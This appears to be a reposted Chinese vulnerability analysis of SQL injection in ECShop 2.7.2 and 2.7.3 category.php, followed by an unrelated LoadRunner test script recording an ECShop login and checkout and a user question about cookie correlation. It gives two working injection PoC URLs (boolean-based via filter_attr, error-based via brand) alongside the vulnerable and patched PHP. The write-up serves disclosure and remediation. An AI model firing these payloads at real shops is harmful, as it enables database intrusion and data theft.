ecshop /category.php SQL Injection Vul

本文详细分析了 Ecshop 版本 2.7.2 和 2.7.3 中存在的 SQL 注入漏洞,提供了两个 PoC 示例并解释了漏洞触发条件。通过源代码分析,揭示了漏洞产生的根本原因,并提出了相应的修复建议。

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

 

1. 漏洞描述

Relevant Link:

http://sebug.net/vuldb/ssvid-19574


2. 漏洞触发条件

0x1: POC1

http://localhost/ecshop2.7.2/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20length(session_user())=14%20or%201=2
http://localhost/ecshop2.7.2/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20length(session_user())=145%20or%201=2  

0x2: POC2

http://localhost/ecshop2.7.3/category.php?id=279&brand=173+AND+%28SELECT+1892+FROM%28SELECT+COUNT%28*%29%2CCONCAT%280x625454496147%2C%28SELECT+%28CASE+WHEN+%281892%3D1892%29+THEN+1+ELSE+0+END%29%29%2C0x6f4574774f4a%2CFLOOR%28RAND%280%29*2%29%29x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x%29a%29&price_min=0&price_max=0&page=2&sort=last_update&order=ASC


3. 漏洞影响范围
4. 漏洞代码分析

0x1: POC1

/category.php

..
$filter_attr_str = isset($_REQUEST['filter_attr']) ? trim($_REQUEST['filter_attr']) : '0';
//变量 $filter_attr_str 是以“.” 分开的数组
$filter_attr = empty($filter_attr_str) ? '' : explode('.', trim($filter_attr_str));
..
 /* 扩展商品查询条件 */
if (!empty($filter_attr))
{
    $ext_sql = "SELECT DISTINCT(b.goods_id) FROM " . $ecs->table('goods_attr') . " AS a, " . $ecs->table('goods_attr') . " AS b " .  "WHERE "; 
    $ext_group_goods = array();

    foreach ($filter_attr AS $k => $v)                      // 查出符合所有筛选属性条件的商品id */
    {
    if ($v != 0) 
    {
        //$v 没有作任何处理就加入了SQL查询,造成SQL注入
        $sql = $ext_sql . "b.attr_value = a.attr_value AND b.attr_id = " . $cat_filter_attr[$k] ." AND a.goods_attr_id = " . $v;
        ..

0x2: POC2

/category.php

else{
    /* 初始化分页信息 */
    $page = isset($_REQUEST['page'])   && intval($_REQUEST['page'])  > 0 ? intval($_REQUEST['page'])  : 1;
    $size = isset($_CFG['page_size'])  && intval($_CFG['page_size']) > 0 ? intval($_CFG['page_size']) : 10;
    //未对$_REQUEST['brand']参数进行有效过滤
    $brand = isset($_REQUEST['brand']) && intval($_REQUEST['brand']) > 0 ? $_REQUEST['brand'] : 0;
    $price_max = isset($_REQUEST['price_max']) && intval($_REQUEST['price_max']) > 0 ? intval($_REQUEST['price_max']) : 0;
    $price_min = isset($_REQUEST['price_min']) && intval($_REQUEST['price_min']) > 0 ? intval($_REQUEST['price_min']) : 0;
    $filter = (isset($_REQUEST['filter'])) ? intval($_REQUEST['filter']) : 0;
    $filter_attr_str = isset($_REQUEST['filter_attr']) ? htmlspecialchars(trim($_REQUEST['filter_attr'])) : '0';


5. 防御方法

0x1: POC1

/category.php

..
/*对用户输入的$_REQUEST['filter_attr']进行转义  */
$filter_attr_str = isset($_REQUEST['filter_attr']) ? htmlspecialchars(trim($_REQUEST['filter_attr'])) : '0';
/* */
$filter_attr_str = trim(urldecode($filter_attr_str));
/* 敏感关键字过滤 */
$filter_attr_str = preg_match('/^[\d\.]+$/',$filter_attr_str) ? $filter_attr_str : '';
/**/
$filter_attr = empty($filter_attr_str) ? '' : explode('.', $filter_attr_str);
..
foreach ($filter_attr AS $k => $v)                      // 查出符合所有筛选属性条件的商品id */
{ 
    /* is_numeric($v) */
    if (is_numeric($v) && $v !=0 )
    { 
    ..

0x2: POC2

/category.php

else{
    /* 初始化分页信息 */
    $page = isset($_REQUEST['page'])   && intval($_REQUEST['page'])  > 0 ? intval($_REQUEST['page'])  : 1;
    $size = isset($_CFG['page_size'])  && intval($_CFG['page_size']) > 0 ? intval($_CFG['page_size']) : 10;
    /* $brand = isset($_REQUEST['brand']) && intval($_REQUEST['brand']) > 0 ? $_REQUEST['brand'] : 0; */
    $brand = isset($_REQUEST['brand']) && intval($_REQUEST['brand']) > 0 ? intval($_REQUEST['brand']) : 0;
    /**/


6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

 

转载于:https://www.cnblogs.com/LittleHann/p/4524161.html

Action() { web_add_cookie("ECS_ID=d3a982c70109359a9e4b14c349b7a8f43fc01bb3; DOMAIN=192.168.77.133"); web_add_cookie("ECS[visit_times]=1; DOMAIN=192.168.77.133"); web_add_auto_header("Accept-Language", "zh-CN,zh;q=0.9"); web_url("ecshop", "URL=http://192.168.77.133/ecshop/", "TargetFrame=", "Resource=0", "RecContentType=text/html", "Referer=", "Snapshot=t1.inf", "Mode=HTML", EXTRARES, "Url=themes/default/images/topNavBg.gif", "Referer=http://192.168.77.133/ecshop/themes/default/style.css", ENDITEM, "Url=themes/default/images/bg.gif", "Referer=http://192.168.77.133/ecshop/themes/default/style.css", ENDITEM, "Url=themes/default/images/foucsBg.gif", "Referer=http://192.168.77.133/ecshop/themes/default/style.css", ENDITEM, "Url=themes/default/images/NavBg.gif", "Referer=http://192.168.77.133/ecshop/themes/default/style.css", ENDITEM, "Url=themes/default/images/box_2Bg.gif", "Referer=http://192.168.77.133/ecshop/themes/default/style.css", ENDITEM, "Url=themes/default/images/h3title.gif", "Referer=http://192.168.77.133/ecshop/themes/default/style.css", ENDITEM, "Url=themes/default/images/bnt_search.gif", "Referer=http://192.168.77.133/ecshop/themes/default/style.css", ENDITEM, "Url=themes/default/images/lineBg.gif", "Referer=http://192.168.77.133/ecshop/themes/default/style.css", ENDITEM, "Url=themes/default/images/catBg.gif", "Referer=http://192.168.77.133/ecshop/themes/default/style.css", ENDITEM, "Url=themes/default/images/itemH2Bg.gif", "Referer=http://192.168.77.133/ecshop/themes/default/style.css", ENDITEM, "Url=themes/default/images/topNavR.gif", "Referer=http://192.168.77.133/ecshop/themes/default/style.css", ENDITEM, "Url=themes/default/images/searchBg.gif", "Referer=http://192.168.77.133/ecshop/themes/default/style.css", ENDITEM, "Url=themes/default/images/inputbg.gif", "Referer=http://192.168.77.133/ecshop/themes/default/style.css", ENDITEM, "Url=data/flashdata/dynfocus/data.js", ENDITEM, "Url=themes/default/images/helpTitBg.gif", "Referer=http://192.168.77.133/ecshop/themes/default/style.css", ENDITEM, "Url=themes/default/images/logo1.gif", "Referer=http://192.168.77.133/ecshop/themes/default/style.css", ENDITEM, "Url=themes/default/images/footerLine.gif", "Referer=http://192.168.77.133/ecshop/themes/default/style.css", ENDITEM, "Url=themes/default/images/uh_bg.gif", "Referer=http://192.168.77.133/ecshop/themes/default/style.css", ENDITEM, "Url=themes/default/images/bnt_ur_log.gif", "Referer=http://192.168.77.133/ecshop/themes/default/style.css", ENDITEM, "Url=themes/default/images/ur_bg.gif", "Referer=http://192.168.77.133/ecshop/themes/default/style.css", ENDITEM, "Url=themes/default/images/ur_bg1.gif", "Referer=http://192.168.77.133/ecshop/themes/default/style.css", ENDITEM, LAST); web_url("bnt_log.gif", "URL=http://192.168.77.133/ecshop/user.php", "TargetFrame=", "Resource=0", "RecContentType=text/html", "Referer=http://192.168.77.133/ecshop/", "Snapshot=t2.inf", "Mode=HTML", LAST); web_set_sockets_option("SSL_VERSION", "AUTO"); lr_think_time(15); web_submit_data("user.php", "Action=http://192.168.77.133/ecshop/user.php", "Method=POST", "TargetFrame=", "RecContentType=text/html", "Referer=http://192.168.77.133/ecshop/user.php", "Snapshot=t3.inf", "Mode=HTML", ITEMDATA, "Name=username", "Value=test0042", ENDITEM, "Name=password", "Value=123456", ENDITEM, "Name=act", "Value=act_login", ENDITEM, "Name=back_act", "Value=http://192.168.77.133/ecshop/", ENDITEM, "Name=submit", "Value=", ENDITEM, LAST); web_url("诺基亚E66", "URL=http://192.168.77.133/ecshop/goods.php?id=9", "TargetFrame=", "Resource=0", "RecContentType=text/html", "Referer=http://192.168.77.133/ecshop/", "Snapshot=t4.inf", "Mode=HTML", LAST); web_url("cron.php", "URL=http://192.168.77.133/ecshop/api/cron.php?t=1753254435", "TargetFrame=", "Resource=0", "RecContentType=text/html", "Referer=http://192.168.77.133/ecshop/goods.php?id=9", "Snapshot=t5.inf", "Mode=HTML", EXTRARES, "Url=../themes/default/images/commentsBnt.gif", "Referer=http://192.168.77.133/ecshop/goods.php?id=9", ENDITEM, LAST); web_url("goods.php", "URL=http://192.168.77.133/ecshop/goods.php?act=price&id=9&attr=227&number=1&1753254436206206", "TargetFrame=", "Resource=0", "RecContentType=text/html", "Referer=http://192.168.77.133/ecshop/goods.php?id=9", "Snapshot=t6.inf", "Mode=HTML", LAST); web_custom_request("flow.php", "URL=http://192.168.77.133/ecshop/flow.php?step=add_to_cart", "Method=POST", "TargetFrame=", "Resource=0", "RecContentType=text/html", "Referer=http://192.168.77.133/ecshop/goods.php?id=9", "Snapshot=t7.inf", "Mode=HTML", "Body=goods={\"quick\":1,\"spec\":[\"227\"],\"goods_id\":7,\"number\":\"1\",\"parent\":0}", LAST); web_url("flow.php_2", "URL=http://192.168.77.133/ecshop/flow.php?step=cart", "TargetFrame=", "Resource=0", "RecContentType=text/html", "Referer=http://192.168.77.133/ecshop/goods.php?id=9", "Snapshot=t8.inf", "Mode=HTML", LAST); web_url("checkout", "URL=http://192.168.77.133/ecshop/flow.php?step=checkout", "TargetFrame=", "Resource=0", "RecContentType=text/html", "Referer=http://192.168.77.133/ecshop/flow.php?step=cart", "Snapshot=t9.inf", "Mode=HTML", LAST); web_url("flow.php_3", "URL=http://192.168.77.133/ecshop/flow.php?step=select_shipping&shipping=5&1753254446354354", "TargetFrame=", "Resource=0", "RecContentType=text/html", "Referer=http://192.168.77.133/ecshop/flow.php?step=checkout", "Snapshot=t10.inf", "Mode=HTML", LAST); web_url("flow.php_4", "URL=http://192.168.77.133/ecshop/flow.php?step=select_payment&payment=1&1753254449555555", "TargetFrame=", "Resource=0", "RecContentType=text/html", "Referer=http://192.168.77.133/ecshop/flow.php?step=checkout", "Snapshot=t11.inf", "Mode=HTML", LAST); web_url("flow.php_5", "URL=http://192.168.77.133/ecshop/flow.php?step=select_pack&pack=0&1753254451388388", "TargetFrame=", "Resource=0", "RecContentType=text/html", "Referer=http://192.168.77.133/ecshop/flow.php?step=checkout", "Snapshot=t12.inf", "Mode=HTML", LAST); web_url("flow.php_6", "URL=http://192.168.77.133/ecshop/flow.php?step=select_card&card=0&1753254453200200", "TargetFrame=", "Resource=0", "RecContentType=text/html", "Referer=http://192.168.77.133/ecshop/flow.php?step=checkout", "Snapshot=t13.inf", "Mode=HTML", LAST); web_url("flow.php_7", "URL=http://192.168.77.133/ecshop/flow.php?step=check_surplus&surplus=0&1753254455323323", "TargetFrame=", "Resource=0", "RecContentType=text/html", "Referer=http://192.168.77.133/ecshop/flow.php?step=checkout", "Snapshot=t14.inf", "Mode=HTML", LAST); web_submit_data("flow.php_8", "Action=http://192.168.77.133/ecshop/flow.php?step=done", "Method=POST", "TargetFrame=", "RecContentType=text/html", "Referer=http://192.168.77.133/ecshop/flow.php?step=checkout", "Snapshot=t15.inf", "Mode=HTML", ITEMDATA, "Name=shipping", "Value=5", ENDITEM, "Name=payment", "Value=1", ENDITEM, "Name=pack", "Value=0", ENDITEM, "Name=card", "Value=0", ENDITEM, "Name=card_message", "Value=", ENDITEM, "Name=bonus", "Value=0", ENDITEM, "Name=bonus_sn", "Value=", ENDITEM, "Name=postscript", "Value=", ENDITEM, "Name=how_oos", "Value=0", ENDITEM, "Name=x", "Value=91", ENDITEM, "Name=y", "Value=20", ENDITEM, "Name=step", "Value=done", ENDITEM, LAST); return 0; } 在此代码中,为什么关联不到ECS_ID
07-24
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值